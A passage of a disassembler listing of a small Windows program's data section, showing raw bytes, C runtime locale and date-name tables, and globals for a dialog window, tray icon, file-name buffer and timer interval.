.data:004076C6                 db  40h ; @
.data:004076C7                 db    0
.data:004076C8                 db  1Ch
.data:004076C9                 db    0
.data:004076CA                 db    0
.data:004076CB                 db    0
.data:004076CC                 db 0DCh ; _
.data:004076CD                 db  62h ; b
.data:004076CE                 db  40h ; @
.data:004076CF                 db    0
.data:004076D0                 db  78h ; x
.data:004076D1                 db    0
.data:004076D2                 db    0
.data:004076D3                 db    0
.data:004076D4                 db 0CCh ; ¦
.data:004076D5                 db  62h ; b
.data:004076D6                 db  40h ; @
.data:004076D7                 db    0
.data:004076D8                 db  79h ; y
.data:004076D9                 db    0
.data:004076DA                 db    0
.data:004076DB                 db    0
.data:004076DC                 db 0BCh ; +
.data:004076DD                 db  62h ; b
.data:004076DE                 db  40h ; @
.data:004076DF                 db    0
.data:004076E0                 db  7Ah ; z
.data:004076E1                 db    0
.data:004076E2                 db    0
.data:004076E3                 db    0
.data:004076E4                 db 0ACh ; ¼
.data:004076E5                 db  62h ; b
.data:004076E6                 db  40h ; @
.data:004076E7                 db    0
.data:004076E8                 db 0FCh ; n
.data:004076E9                 db    0
.data:004076EA                 db    0
.data:004076EB                 db    0
.data:004076EC                 db 0A8h ; ¿
.data:004076ED                 db  62h ; b
.data:004076EE                 db  40h ; @
.data:004076EF                 db    0
.data:004076F0                 db 0FFh
.data:004076F1                 db    0
.data:004076F2                 db    0
.data:004076F3                 db    0
.data:004076F4                 db  98h ; ÿ
.data:004076F5                 db  62h ; b
.data:004076F6                 db  40h ; @
.data:004076F7                 db    0
.data:004076F8 unk_4076F8      db    0                 ; DATA XREF: __NMSG_WRITE+1Bo
.data:004076F9                 db    0
.data:004076FA                 db    0
.data:004076FB                 db    0
.data:004076FC                 db    0
.data:004076FD                 db    0
.data:004076FE                 db    0
.data:004076FF                 db    0
.data:00407700 dword_407700    dd 3F8h                 ; DATA XREF: __heap_alloc+5r
.data:00407700                                         ; _calloc+27r
.data:00407704                 align 8
.data:00407708 byte_407708     db 1                    ; DATA XREF: __setmbcp+EDr
.data:00407709                 db    2
.data:0040770A                 db    4
.data:0040770B                 db    8
.data:0040770C                 db    0
.data:0040770D                 db    0
.data:0040770E                 db    0
.data:0040770F                 db    0
.data:00407710 unk_407710      db 0A4h ; ñ             ; DATA XREF: __setmbcp+38o
.data:00407711                 db    3
.data:00407712                 db    0
.data:00407713                 db    0
.data:00407714 dword_407714    dd 82798260h            ; DATA XREF: __setmbcp+129r
.data:00407718                 db  21h ; !
.data:00407719                 db    0
.data:0040771A                 db    0
.data:0040771B                 db    0
.data:0040771C                 db    0
.data:0040771D                 db    0
.data:0040771E                 db    0
.data:0040771F                 db    0
.data:00407720 dword_407720    dd 0DFA6h               ; DATA XREF: __setmbcp+CCr
.data:00407724                 align 8
.data:00407728                 db 0A1h ; í
.data:00407729                 db 0A5h ; Ñ
.data:0040772A                 db    0
.data:0040772B                 db    0
.data:0040772C                 db    0
.data:0040772D                 db    0
.data:0040772E                 db    0
.data:0040772F                 db    0
.data:00407730                 db  81h ; ü
.data:00407731                 db  9Fh ; ƒ
.data:00407732                 db 0E0h ; a
.data:00407733                 db 0FCh ; n
.data:00407734                 db    0
.data:00407735                 db    0
.data:00407736                 db    0
.data:00407737                 db    0
.data:00407738                 db  40h ; @
.data:00407739                 db  7Eh ; ~
.data:0040773A                 db  80h ; Ç
.data:0040773B                 db 0FCh ; n
.data:0040773C                 db    0
.data:0040773D                 db    0
.data:0040773E                 db    0
.data:0040773F                 db    0
.data:00407740                 db 0A8h ; ¿
.data:00407741                 db    3
.data:00407742                 db    0
.data:00407743                 db    0
.data:00407744                 db 0C1h ; -
.data:00407745                 db 0A3h ; ú
.data:00407746                 db 0DAh ; +
.data:00407747                 db 0A3h ; ú
.data:00407748                 db  20h
.data:00407749                 db    0
.data:0040774A                 db    0
.data:0040774B                 db    0
.data:0040774C                 db    0
.data:0040774D                 db    0
.data:0040774E                 db    0
.data:0040774F                 db    0
.data:00407750                 db    0
.data:00407751                 db    0
.data:00407752                 db    0
.data:00407753                 db    0
.data:00407754                 db    0
.data:00407755                 db    0
.data:00407756                 db    0
.data:00407757                 db    0
.data:00407758                 db    0
.data:00407759                 db    0
.data:0040775A                 db    0
.data:0040775B                 db    0
.data:0040775C                 db    0
.data:0040775D                 db    0
.data:0040775E                 db    0
.data:0040775F                 db    0
.data:00407760                 db  81h ; ü
.data:00407761                 db 0FEh ; ¦
.data:00407762                 db    0
.data:00407763                 db    0
.data:00407764                 db    0
.data:00407765                 db    0
.data:00407766                 db    0
.data:00407767                 db    0
.data:00407768                 db  40h ; @
.data:00407769                 db 0FEh ; ¦
.data:0040776A                 db    0
.data:0040776B                 db    0
.data:0040776C                 db    0
.data:0040776D                 db    0
.data:0040776E                 db    0
.data:0040776F                 db    0
.data:00407770                 db 0B5h ; ¦
.data:00407771                 db    3
.data:00407772                 db    0
.data:00407773                 db    0
.data:00407774                 db 0C1h ; -
.data:00407775                 db 0A3h ; ú
.data:00407776                 db 0DAh ; +
.data:00407777                 db 0A3h ; ú
.data:00407778                 db  20h
.data:00407779                 db    0
.data:0040777A                 db    0
.data:0040777B                 db    0
.data:0040777C                 db    0
.data:0040777D                 db    0
.data:0040777E                 db    0
.data:0040777F                 db    0
.data:00407780                 db    0
.data:00407781                 db    0
.data:00407782                 db    0
.data:00407783                 db    0
.data:00407784                 db    0
.data:00407785                 db    0
.data:00407786                 db    0
.data:00407787                 db    0
.data:00407788                 db    0
.data:00407789                 db    0
.data:0040778A                 db    0
.data:0040778B                 db    0
.data:0040778C                 db    0
.data:0040778D                 db    0
.data:0040778E                 db    0
.data:0040778F                 db    0
.data:00407790                 db  81h ; ü
.data:00407791                 db 0FEh ; ¦
.data:00407792                 db    0
.data:00407793                 db    0
.data:00407794                 db    0
.data:00407795                 db    0
.data:00407796                 db    0
.data:00407797                 db    0
.data:00407798                 db  41h ; A
.data:00407799                 db 0FEh ; ¦
.data:0040779A                 db    0
.data:0040779B                 db    0
.data:0040779C                 db    0
.data:0040779D                 db    0
.data:0040779E                 db    0
.data:0040779F                 db    0
.data:004077A0                 db 0B6h ; ¦
.data:004077A1                 db    3
.data:004077A2                 db    0
.data:004077A3                 db    0
.data:004077A4                 db 0CFh ; -
.data:004077A5                 db 0A2h ; ó
.data:004077A6                 db 0E4h ; S
.data:004077A7                 db 0A2h ; ó
.data:004077A8                 db  1Ah
.data:004077A9                 db    0
.data:004077AA                 db 0E5h ; s
.data:004077AB                 db 0A2h ; ó
.data:004077AC                 db 0E8h ; F
.data:004077AD                 db 0A2h ; ó
.data:004077AE                 db  5Bh ; [
.data:004077AF                 db    0
.data:004077B0                 db    0
.data:004077B1                 db    0
.data:004077B2                 db    0
.data:004077B3                 db    0
.data:004077B4                 db    0
.data:004077B5                 db    0
.data:004077B6                 db    0
.data:004077B7                 db    0
.data:004077B8                 db    0
.data:004077B9                 db    0
.data:004077BA                 db    0
.data:004077BB                 db    0
.data:004077BC                 db    0
.data:004077BD                 db    0
.data:004077BE                 db    0
.data:004077BF                 db    0
.data:004077C0                 db  81h ; ü
.data:004077C1                 db 0FEh ; ¦
.data:004077C2                 db    0
.data:004077C3                 db    0
.data:004077C4                 db    0
.data:004077C5                 db    0
.data:004077C6                 db    0
.data:004077C7                 db    0
.data:004077C8                 db  40h ; @
.data:004077C9                 db  7Eh ; ~
.data:004077CA                 db 0A1h ; í
.data:004077CB                 db 0FEh ; ¦
.data:004077CC                 db    0
.data:004077CD                 db    0
.data:004077CE                 db    0
.data:004077CF                 db    0
.data:004077D0                 db  51h ; Q
.data:004077D1                 db    5
.data:004077D2                 db    0
.data:004077D3                 db    0
.data:004077D4                 db  51h ; Q
.data:004077D5                 db 0DAh ; +
.data:004077D6                 db  5Eh ; ^
.data:004077D7                 db 0DAh ; +
.data:004077D8                 db  20h
.data:004077D9                 db    0
.data:004077DA                 db  5Fh ; _
.data:004077DB                 db 0DAh ; +
.data:004077DC                 db  6Ah ; j
.data:004077DD                 db 0DAh ; +
.data:004077DE                 db  32h ; 2
.data:004077DF                 db    0
.data:004077E0                 db    0
.data:004077E1                 db    0
.data:004077E2                 db    0
.data:004077E3                 db    0
.data:004077E4                 db    0
.data:004077E5                 db    0
.data:004077E6                 db    0
.data:004077E7                 db    0
.data:004077E8                 db    0
.data:004077E9                 db    0
.data:004077EA                 db    0
.data:004077EB                 db    0
.data:004077EC                 db    0
.data:004077ED                 db    0
.data:004077EE                 db    0
.data:004077EF                 db    0
.data:004077F0                 db  81h ; ü
.data:004077F1                 db 0D3h ; +
.data:004077F2                 db 0D8h ; +
.data:004077F3                 db 0DEh ; ¦
.data:004077F4                 db 0E0h ; a
.data:004077F5                 db 0F9h ; ·
.data:004077F6                 db    0
.data:004077F7                 db    0
.data:004077F8                 db  31h ; 1
.data:004077F9                 db  7Eh ; ~
.data:004077FA                 db  81h ; ü
.data:004077FB                 db 0FEh ; ¦
.data:004077FC                 db    0
.data:004077FD                 db    0
.data:004077FE                 db    0
.data:004077FF                 db    0
.data:00407800 off_407800      dd offset off_407808    ; DATA XREF: __setmbcp+45o
.data:00407804                 align 8
.data:00407808 off_407808      dd offset aSun          ; DATA XREF: .data:off_407800o
.data:00407808                                         ; "Sun"
.data:0040780C                 dd offset aMon          ; "Mon"
.data:00407810                 dd offset aTue          ; "Tue"
.data:00407814                 dd offset aWed          ; "Wed"
.data:00407818                 dd offset aThu          ; "Thu"
.data:0040781C                 dd offset aFri          ; "Fri"
.data:00407820                 dd offset aSat          ; "Sat"
.data:00407824                 dd offset aSunday       ; "Sunday"
.data:00407828                 dd offset aMonday       ; "Monday"
.data:0040782C                 dd offset aTuesday      ; "Tuesday"
.data:00407830                 dd offset aWednesday    ; "Wednesday"
.data:00407834                 dd offset aThursday     ; "Thursday"
.data:00407838                 dd offset aFriday       ; "Friday"
.data:0040783C                 dd offset aSaturday     ; "Saturday"
.data:00407840                 dd offset aJan          ; "Jan"
.data:00407844                 dd offset aFeb          ; "Feb"
.data:00407848                 dd offset aMar          ; "Mar"
.data:0040784C                 dd offset aApr          ; "Apr"
.data:00407850                 dd offset aMay          ; "May"
.data:00407854                 dd offset aJun          ; "Jun"
.data:00407858                 dd offset aJul          ; "Jul"
.data:0040785C                 dd offset aAug          ; "Aug"
.data:00407860                 dd offset aSep          ; "Sep"
.data:00407864                 dd offset aOct          ; "Oct"
.data:00407868                 dd offset aNov          ; "Nov"
.data:0040786C                 dd offset aDec          ; "Dec"
.data:00407870                 dd offset aJanuary      ; "January"
.data:00407874                 dd offset aFebruary     ; "February"
.data:00407878                 dd offset aMarch        ; "March"
.data:0040787C                 dd offset aApril        ; "April"
.data:00407880                 dd offset aMay          ; "May"
.data:00407884                 dd offset aJune         ; "June"
.data:00407888                 dd offset aJuly         ; "July"
.data:0040788C                 dd offset aAugust       ; "August"
.data:00407890                 dd offset aSeptember    ; "September"
.data:00407894                 dd offset aOctober      ; "October"
.data:00407898                 dd offset aNovember     ; "November"
.data:0040789C                 dd offset aDecember     ; "December"
.data:004078A0                 dd offset aAm           ; "AM"
.data:004078A4                 dd offset aPm           ; "PM"
.data:004078A8                 dd offset aMDYy         ; "M/d/yy"
.data:004078AC                 dd offset aDdddMmmmDdYyyy ; "dddd, MMMM dd, yyyy"
.data:004078B0                 dd offset aHMmSs        ; "H:mm:ss"
.data:004078B4                 align 8
.data:004078B8                 db  2Eh ; .
.data:004078B9                 db    0
.data:004078BA                 db    0
.data:004078BB                 db    0
.data:004078BC                 db    0
.data:004078BD                 db    0
.data:004078BE                 db    0
.data:004078BF                 db    0
.data:004078C0                 db 0B8h ; +
.data:004078C1                 db  78h ; x
.data:004078C2                 db  40h ; @
.data:004078C3                 db    0
.data:004078C4                 db  58h ; X
.data:004078C5                 db  7Eh ; ~
.data:004078C6                 db  40h ; @
.data:004078C7                 db    0
.data:004078C8                 db  58h ; X
.data:004078C9                 db  7Eh ; ~
.data:004078CA                 db  40h ; @
.data:004078CB                 db    0
.data:004078CC                 db  58h ; X
.data:004078CD                 db  7Eh ; ~
.data:004078CE                 db  40h ; @
.data:004078CF                 db    0
.data:004078D0                 db  58h ; X
.data:004078D1                 db  7Eh ; ~
.data:004078D2                 db  40h ; @
.data:004078D3                 db    0
.data:004078D4                 db  58h ; X
.data:004078D5                 db  7Eh ; ~
.data:004078D6                 db  40h ; @
.data:004078D7                 db    0
.data:004078D8                 db  58h ; X
.data:004078D9                 db  7Eh ; ~
.data:004078DA                 db  40h ; @
.data:004078DB                 db    0
.data:004078DC                 db  58h ; X
.data:004078DD                 db  7Eh ; ~
.data:004078DE                 db  40h ; @
.data:004078DF                 db    0
.data:004078E0                 db  58h ; X
.data:004078E1                 db  7Eh ; ~
.data:004078E2                 db  40h ; @
.data:004078E3                 db    0
.data:004078E4                 db  58h ; X
.data:004078E5                 db  7Eh ; ~
.data:004078E6                 db  40h ; @
.data:004078E7                 db    0
.data:004078E8                 db  7Fh ; 
.data:004078E9                 db  7Fh ; 
.data:004078EA                 db  7Fh ; 
.data:004078EB                 db  7Fh ; 
.data:004078EC                 db  7Fh ; 
.data:004078ED                 db  7Fh ; 
.data:004078EE                 db  7Fh ; 
.data:004078EF                 db  7Fh ; 
.data:004078F0                 db 0C0h ; +
.data:004078F1                 db  78h ; x
.data:004078F2                 db  40h ; @
.data:004078F3                 db    0
.data:004078F4                 db    0
.data:004078F5                 db    0
.data:004078F6                 db    0
.data:004078F7                 db    0
.data:004078F8                 db    0
.data:004078F9                 db    0
.data:004078FA                 db    0
.data:004078FB                 db    0
.data:004078FC                 db    0
.data:004078FD                 db    0
.data:004078FE                 db    0
.data:004078FF                 db    0
.data:00407900                 db  80h ; Ç
.data:00407901                 db  70h ; p
.data:00407902                 db    0
.data:00407903                 db    0
.data:00407904                 db    1
.data:00407905                 db    0
.data:00407906                 db    0
.data:00407907                 db    0
.data:00407908                 db 0F0h ; =
.data:00407909                 db 0F1h ; ±
.data:0040790A                 db 0FFh
.data:0040790B                 db 0FFh
.data:0040790C                 db  50h ; P
.data:0040790D                 db  53h ; S
.data:0040790E                 db  54h ; T
.data:0040790F                 db    0
.data:00407910                 db    0
.data:00407911                 db    0
.data:00407912                 db    0
.data:00407913                 db    0
.data:00407914                 db    0
.data:00407915                 db    0
.data:00407916                 db    0
.data:00407917                 db    0
.data:00407918                 db    0
.data:00407919                 db    0
.data:0040791A                 db    0
.data:0040791B                 db    0
.data:0040791C                 db    0
.data:0040791D                 db    0
.data:0040791E                 db    0
.data:0040791F                 db    0
.data:00407920                 db    0
.data:00407921                 db    0
.data:00407922                 db    0
.data:00407923                 db    0
.data:00407924                 db    0
.data:00407925                 db    0
.data:00407926                 db    0
.data:00407927                 db    0
.data:00407928                 db    0
.data:00407929                 db    0
.data:0040792A                 db    0
.data:0040792B                 db    0
.data:0040792C                 db    0
.data:0040792D                 db    0
.data:0040792E                 db    0
.data:0040792F                 db    0
.data:00407930                 db    0
.data:00407931                 db    0
.data:00407932                 db    0
.data:00407933                 db    0
.data:00407934                 db    0
.data:00407935                 db    0
.data:00407936                 db    0
.data:00407937                 db    0
.data:00407938                 db    0
.data:00407939                 db    0
.data:0040793A                 db    0
.data:0040793B                 db    0
.data:0040793C                 db    0
.data:0040793D                 db    0
.data:0040793E                 db    0
.data:0040793F                 db    0
.data:00407940                 db    0
.data:00407941                 db    0
.data:00407942                 db    0
.data:00407943                 db    0
.data:00407944                 db    0
.data:00407945                 db    0
.data:00407946                 db    0
.data:00407947                 db    0
.data:00407948                 db    0
.data:00407949                 db    0
.data:0040794A                 db    0
.data:0040794B                 db    0
.data:0040794C                 db  50h ; P
.data:0040794D                 db  44h ; D
.data:0040794E                 db  54h ; T
.data:0040794F                 db    0
.data:00407950                 db    0
.data:00407951                 db    0
.data:00407952                 db    0
.data:00407953                 db    0
.data:00407954                 db    0
.data:00407955                 db    0
.data:00407956                 db    0
.data:00407957                 db    0
.data:00407958                 db    0
.data:00407959                 db    0
.data:0040795A                 db    0
.data:0040795B                 db    0
.data:0040795C                 db    0
.data:0040795D                 db    0
.data:0040795E                 db    0
.data:0040795F                 db    0
.data:00407960                 db    0
.data:00407961                 db    0
.data:00407962                 db    0
.data:00407963                 db    0
.data:00407964                 db    0
.data:00407965                 db    0
.data:00407966                 db    0
.data:00407967                 db    0
.data:00407968                 db    0
.data:00407969                 db    0
.data:0040796A                 db    0
.data:0040796B                 db    0
.data:0040796C                 db    0
.data:0040796D                 db    0
.data:0040796E                 db    0
.data:0040796F                 db    0
.data:00407970                 db    0
.data:00407971                 db    0
.data:00407972                 db    0
.data:00407973                 db    0
.data:00407974                 db    0
.data:00407975                 db    0
.data:00407976                 db    0
.data:00407977                 db    0
.data:00407978                 db    0
.data:00407979                 db    0
.data:0040797A                 db    0
.data:0040797B                 db    0
.data:0040797C                 db    0
.data:0040797D                 db    0
.data:0040797E                 db    0
.data:0040797F                 db    0
.data:00407980                 db    0
.data:00407981                 db    0
.data:00407982                 db    0
.data:00407983                 db    0
.data:00407984                 db    0
.data:00407985                 db    0
.data:00407986                 db    0
.data:00407987                 db    0
.data:00407988                 db    0
.data:00407989                 db    0
.data:0040798A                 db    0
.data:0040798B                 db    0
.data:0040798C                 db  0Ch
.data:0040798D                 db  79h ; y
.data:0040798E                 db  40h ; @
.data:0040798F                 db    0
.data:00407990                 db  4Ch ; L
.data:00407991                 db  79h ; y
.data:00407992                 db  40h ; @
.data:00407993                 db    0
.data:00407994                 db    0
.data:00407995                 db    0
.data:00407996                 db    0
.data:00407997                 db    0
.data:00407998                 db 0FFh
.data:00407999                 db 0FFh
.data:0040799A                 db 0FFh
.data:0040799B                 db 0FFh
.data:0040799C                 db    0
.data:0040799D                 db    0
.data:0040799E                 db    0
.data:0040799F                 db    0
.data:004079A0                 db    0
.data:004079A1                 db    0
.data:004079A2                 db    0
.data:004079A3                 db    0
.data:004079A4                 db    0
.data:004079A5                 db    0
.data:004079A6                 db    0
.data:004079A7                 db    0
.data:004079A8                 db 0FFh
.data:004079A9                 db 0FFh
.data:004079AA                 db 0FFh
.data:004079AB                 db 0FFh
.data:004079AC                 db    0
.data:004079AD                 db    0
.data:004079AE                 db    0
.data:004079AF                 db    0
.data:004079B0                 db    0
.data:004079B1                 db    0
.data:004079B2                 db    0
.data:004079B3                 db    0
.data:004079B4                 db    0
.data:004079B5                 db    0
.data:004079B6                 db    0
.data:004079B7                 db    0
.data:004079B8                 db    0
.data:004079B9                 db    0
.data:004079BA                 db    0
.data:004079BB                 db    0
.data:004079BC                 db    0
.data:004079BD                 db    0
.data:004079BE                 db    0
.data:004079BF                 db    0
.data:004079C0                 db 0FFh
.data:004079C1                 db 0FFh
.data:004079C2                 db 0FFh
.data:004079C3                 db 0FFh
.data:004079C4                 db  1Eh
.data:004079C5                 db    0
.data:004079C6                 db    0
.data:004079C7                 db    0
.data:004079C8                 db  3Bh ; ;
.data:004079C9                 db    0
.data:004079CA                 db    0
.data:004079CB                 db    0
.data:004079CC                 db  5Ah ; Z
.data:004079CD                 db    0
.data:004079CE                 db    0
.data:004079CF                 db    0
.data:004079D0                 db  78h ; x
.data:004079D1                 db    0
.data:004079D2                 db    0
.data:004079D3                 db    0
.data:004079D4                 db  97h ; ù
.data:004079D5                 db    0
.data:004079D6                 db    0
.data:004079D7                 db    0
.data:004079D8                 db 0B5h ; ¦
.data:004079D9                 db    0
.data:004079DA                 db    0
.data:004079DB                 db    0
.data:004079DC                 db 0D4h ; +
.data:004079DD                 db    0
.data:004079DE                 db    0
.data:004079DF                 db    0
.data:004079E0                 db 0F3h ; =
.data:004079E1                 db    0
.data:004079E2                 db    0
.data:004079E3                 db    0
.data:004079E4                 db  11h
.data:004079E5                 db    1
.data:004079E6                 db    0
.data:004079E7                 db    0
.data:004079E8                 db  30h ; 0
.data:004079E9                 db    1
.data:004079EA                 db    0
.data:004079EB                 db    0
.data:004079EC                 db  4Eh ; N
.data:004079ED                 db    1
.data:004079EE                 db    0
.data:004079EF                 db    0
.data:004079F0                 db  6Dh ; m
.data:004079F1                 db    1
.data:004079F2                 db    0
.data:004079F3                 db    0
.data:004079F4                 db 0FFh
.data:004079F5                 db 0FFh
.data:004079F6                 db 0FFh
.data:004079F7                 db 0FFh
.data:004079F8                 db  1Eh
.data:004079F9                 db    0
.data:004079FA                 db    0
.data:004079FB                 db    0
.data:004079FC                 db  3Ah ; :
.data:004079FD                 db    0
.data:004079FE                 db    0
.data:004079FF                 db    0
.data:00407A00                 db  59h ; Y
.data:00407A01                 db    0
.data:00407A02                 db    0
.data:00407A03                 db    0
.data:00407A04                 db  77h ; w
.data:00407A05                 db    0
.data:00407A06                 db    0
.data:00407A07                 db    0
.data:00407A08                 db  96h ; û
.data:00407A09                 db    0
.data:00407A0A                 db    0
.data:00407A0B                 db    0
.data:00407A0C                 db 0B4h ; ¦
.data:00407A0D                 db    0
.data:00407A0E                 db    0
.data:00407A0F                 db    0
.data:00407A10                 db 0D3h ; +
.data:00407A11                 db    0
.data:00407A12                 db    0
.data:00407A13                 db    0
.data:00407A14                 db 0F2h ; =
.data:00407A15                 db    0
.data:00407A16                 db    0
.data:00407A17                 db    0
.data:00407A18                 db  10h
.data:00407A19                 db    1
.data:00407A1A                 db    0
.data:00407A1B                 db    0
.data:00407A1C                 db  2Fh ; /
.data:00407A1D                 db    1
.data:00407A1E                 db    0
.data:00407A1F                 db    0
.data:00407A20                 db  4Dh ; M
.data:00407A21                 db    1
.data:00407A22                 db    0
.data:00407A23                 db    0
.data:00407A24                 db  6Ch ; l
.data:00407A25                 db    1
.data:00407A26                 db    0
.data:00407A27                 db    0
.data:00407A28                 db    0
.data:00407A29                 db    0
.data:00407A2A                 db    0
.data:00407A2B                 db    0
.data:00407A2C                 db    0
.data:00407A2D                 db    0
.data:00407A2E                 db    0
.data:00407A2F                 db    0
.data:00407A30 byte_407A30     db 0                    ; DATA XREF: sub_4014B0+13o
.data:00407A30                                         ; sub_4014B0+113r ...
.data:00407A31 byte_407A31     db 0                    ; DATA XREF: sub_4014B0+131r
.data:00407A31                                         ; sub_4014B0+1A2r
.data:00407A32                 db    0
.data:00407A33 byte_407A33     db 0                    ; DATA XREF: sub_4014B0r
.data:00407A33                                         ; sub_4014B0+20w
.data:00407A34                 align 8
.data:00407A38 dword_407A38    dd 0                    ; DATA XREF: sub_4011D0+12o
.data:00407A38                                         ; sub_4011D0+36r ...
.data:00407A3C dword_407A3C    dd 0                    ; DATA XREF: sub_4011D0+5Fr
.data:00407A40 dword_407A40    dd 0                    ; DATA XREF: sub_4011D0+8Fr
.data:00407A44 dword_407A44    dd 0                    ; DATA XREF: sub_401380+89r
.data:00407A48 dword_407A48    dd 0                    ; DATA XREF: sub_401380+B5r
.data:00407A4C dword_407A4C    dd 0                    ; DATA XREF: sub_4011D0+F1r
.data:00407A50 dword_407A50    dd 0                    ; DATA XREF: sub_4011D0+10Dr
.data:00407A54 dword_407A54    dd 0                    ; DATA XREF: sub_4011D0+151r
.data:00407A58 dword_407A58    dd 0                    ; DATA XREF: sub_4011D0+178r
.data:00407A5C dword_407A5C    dd 0                    ; DATA XREF: sub_4014B0+FCr
.data:00407A60 dword_407A60    dd 0                    ; DATA XREF: sub_4014B0+1DBr
.data:00407A60                                         ; sub_4014B0+237r ...
.data:00407A64 byte_407A64     db 0                    ; DATA XREF: sub_4011D0r
.data:00407A64                                         ; sub_4011D0+1Fw ...
.data:00407A65                 align 4
.data:00407A68 dword_407A68    dd 0                    ; DATA XREF: sub_4014B0+88r
.data:00407A68                                         ; sub_4014B0+C1w ...
.data:00407A6C                 align 10h
.data:00407A70 ; HWND hWnd
.data:00407A70 hWnd            dd 0                    ; DATA XREF: StartAddress+113r
.data:00407A70                                         ; DialogFunc+39w
.data:00407A74 dword_407A74    dd 0                    ; DATA XREF: .text:00401B9Fw
.data:00407A78 ; struct _NOTIFYICONDATAA Data
.data:00407A78 Data            _NOTIFYICONDATAA <0>    ; DATA XREF: StartAddress+1E1o
.data:00407A78                                         ; DialogFunc+D8w ...
.data:00407AD0 ; char FileName[]
.data:00407AD0 FileName        db 104h dup(0)          ; DATA XREF: .text:00401B92o
.data:00407AD0                                         ; StartAddress+Fo ...
.data:00407BD4 ; HINSTANCE hInstance
.data:00407BD4 hInstance       dd 0                    ; DATA XREF: WinMain(x,x,x,x)+60w
.data:00407BD4                                         ; DialogFunc+96r
.data:00407BD8 ; DWORD dwMilliseconds
.data:00407BD8 dwMilliseconds  dd 0                    ; DATA XREF: StartAddress+148w
.data:00407BD8                                         ; StartAddress:loc_401DB0w ...
.data:00407BDC                 align 10h
.data:00407BE0 unk_407BE0      db    0                 ; DATA XREF: DialogFunc+C2o
.data:00407BE1                 db    0
.data:00407BE2                 db    0
.data:00407BE3                 db    0
.data:00407BE4 ; void *dword_407BE4
.data:00407BE4 dword_407BE4    dd 0                    ; DATA XREF: start+96w
.data:00407BE4                                         ; __setenvp:loc_402A07r ...
.data:00407BE8                 db    0
.data:00407BE9                 db    0
.data:00407BEA                 db    0
.data:00407BEB                 db    0
.data:00407BEC dword_407BEC    dd 0                    ; DATA XREF: __amsg_exitr
.data:00407BEC                                         ; _fast_error_exitr ...
.data:00407BF0 unk_407BF0      db    0                 ; DATA XREF: .data:off_4071BCo
.data:00407BF1                 db    0
.data:00407BF2                 db    0
.data:00407BF3                 db    0
.data:00407BF4                 db    0
.data:00407BF5                 db    0
.data:00407BF6                 db    0
.data:00407BF7                 db    0
.data:00407BF8                 db    0
.data:00407BF9                 db    0
.data:00407BFA                 db    0
.data:00407BFB                 db    0
.data:00407BFC                 db    0
.data:00407BFD                 db    0
.data:00407BFE                 db    0
.data:00407BFF                 db    0
.data:00407C00                 db    0
.data:00407C01                 db    0
.data:00407C02                 db    0
.data:00407C03                 db    0
.data:00407C04                 db    0
.data:00407C05                 db    0
.data:00407C06                 db    0
.data:00407C07                 db    0
.data:00407C08 unk_407C08      db    0                 ; DATA XREF: .data:lpCriticalSectiono
.data:00407C09                 db    0
.data:00407C0A                 db    0
.data:00407C0B                 db    0
.data:00407C0C                 db    0
.data:00407C0D                 db    0
.data:00407C0E                 db    0
.data:00407C0F                 db    0
.data:00407C10                 db    0
.data:00407C11                 db    0
.data:00407C12                 db    0
.data:00407C13                 db    0
.data:00407C14                 db    0
.data:00407C15                 db    0
.data:00407C16                 db    0
.data:00407C17                 db    0
.data:00407C18                 db    0
.data:00407C19                 db    0
.data:00407C1A                 db    0
.data:00407C1B                 db    0
.data:00407C1C                 db    0
.data:00407C1D                 db    0
.data:00407C1E                 db    0
.data:00407C1F                 db    0
.data:00407C20 unk_407C20      db    0                 ; DATA XREF: .data:off_4071DCo
.data:00407C21                 db    0
.data:00407C22                 db    0
.data:00407C23                 db    0
.data:00407C24                 db    0
.data:00407C25                 db    0
.data:00407C26                 db    0
.data:00407C27                 db    0
.data:00407C28                 db    0
.data:00407C29                 db    0
.data:00407C2A                 db    0
.data:00407C2B                 db    0
.data:00407C2C                 db    0
.data:00407C2D                 db    0
.data:00407C2E                 db    0
.data:00407C2F                 db    0
.data:00407C30                 db    0
.data:00407C31                 db    0
.data:00407C32                 db    0
.data:00407C33                 db    0
.data:00407C34                 db    0
.data:00407C35                 db    0
.data:00407C36                 db    0
.data:00407C37                 db    0
.data:00407C38 unk_407C38      db    0                 ; DATA XREF: .data:off_4071ECo
.data:00407C39                 db    0
.data:00407C3A                 db    0
.data:00407C3B                 db    0
.data:00407C3C                 db    0
.data:00407C3D                 db    0
.data:00407C3E                 db    0
.data:00407C3F                 db    0
.data:00407C40                 db    0
.data:00407C41                 db    0
.data:00407C42                 db    0
.data:00407C43                 db    0
.data:00407C44                 db    0
.data:00407C45                 db    0
.data:00407C46                 db    0
.data:00407C47                 db    0
.data:00407C48                 db    0
.data:00407C49                 db    0
.data:00407C4A                 db    0
.data:00407C4B                 db    0
.data:00407C4C                 db    0
.data:00407C4D                 db    0
.data:00407C4E                 db    0
.data:00407C4F                 db    0
.data:00407C50                 db    0
.data:00407C51                 db    0
.data:00407C52                 db    0
.data:00407C53                 db    0
.data:00407C54                 db    0
.data:00407C55                 db    0
.data:00407C56                 db    0
.data:00407C57                 db    0
.data:00407C58                 db    0
.data:00407C59                 db    0
.data:00407C5A                 db    0
.data:00407C5B                 db    0
.data:00407C5C unk_407C5C      db    0                 ; DATA XREF: __strcmpi+Co
.data:00407C5C                                         ; __strnicmp+17o
.data:00407C5D                 db    0
.data:00407C5E                 db    0
.data:00407C5F                 db    0
.data:00407C60                 db    0
.data:00407C61                 db    0
.data:00407C62                 db    0
.data:00407C63                 db    0
.data:00407C64 ; LCID Locale
.data:00407C64 Locale          dd 0                    ; DATA XREF: _tolower+3r
.data:00407C64                                         ; _tolower_0+4r ...
.data:00407C68                 db    0
.data:00407C69                 db    0
.data:00407C6A                 db    0
.data:00407C6B                 db    0
.data:00407C6C                 db    0
.data:00407C6D                 db    0
.data:00407C6E                 db    0
.data:00407C6F                 db    0
.data:00407C70                 db    0
.data:00407C71                 db    0
.data:00407C72                 db    0
.data:00407C73                 db    0
.data:00407C74 dword_407C74    dd 0                    ; DATA XREF: ___crtLCMapStringA+C0r
.data:00407C74                                         ; ___crtGetStringTypeA+A6r ...
.data:00407C78                 db    0
.data:00407C79                 db    0
.data:00407C7A                 db    0
.data:00407C7B                 db    0
.data:00407C7C dword_407C7C    dd 0                    ; DATA XREF: ___crtLCMapStringA+28r
.data:00407C7C                                         ; ___crtLCMapStringA+4Cw ...
.data:00407C80                 db    0
.data:00407C81                 db    0
.data:00407C82                 db    0
.data:00407C83                 db    0
.data:00407C84 dword_407C84    dd 0                    ; DATA XREF: start+52w
.data:00407C88 dword_407C88    dd 0                    ; DATA XREF: start+49w
